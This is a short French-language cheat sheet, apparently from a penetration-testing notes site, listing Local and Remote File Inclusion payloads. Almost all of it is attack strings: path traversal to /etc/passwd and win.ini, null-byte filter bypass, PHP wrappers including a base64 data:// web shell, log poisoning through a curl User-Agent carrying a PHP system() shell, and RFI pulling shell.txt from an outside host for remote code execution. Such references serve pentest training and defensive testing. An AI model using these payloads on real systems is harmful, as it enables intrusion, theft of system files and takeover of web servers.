sommaire LFI — Local File Inclusion
http://site/?page = . ./ . ./ . ./ . ./etc/passwd http://site/?page = ... .// ... .//etc/passwd # contournement de filtre http://site/?page =/etc/passwd%00 # null byte (PHP < 5.3.4) # Windows : ?page=..\..\..\windows\win.ini Wrappers PHP (lecture de source & RCE)
php://filter/convert.base64-encode/resource =index.php # lire la source encodee b64 php://filter/read =string.rot13/resource=config.php data://text/plain ; base64,PD9waHAgc3lzdGVtKCRfR0VUWzBdKTsgPz4 = # data:// -> RCE expect://id php://input (POST : < ?php system ($_GET[0]); ? >) LFI → RCE (log poisoning / wrappers)
# empoisonner un log puis l'inclure : curl 'http://site/' -A '<?php system($_GET[0]); ?>' ? page = /var/log/apache2/access.log &0 = id ? page = /proc/self/environ # via User-Agent # chaine de filtres PHP -> RCE : outil php_filter_chain_generator.py RFI — Remote File Inclusion (si allow_url_include=On)
http://site/?page =http://10.10.14.5/shell.txt # heberger shell.txt = <?php system($_GET['c']); ?> puis ?page=...&c=id ← Injection SQL Injection de commandes → 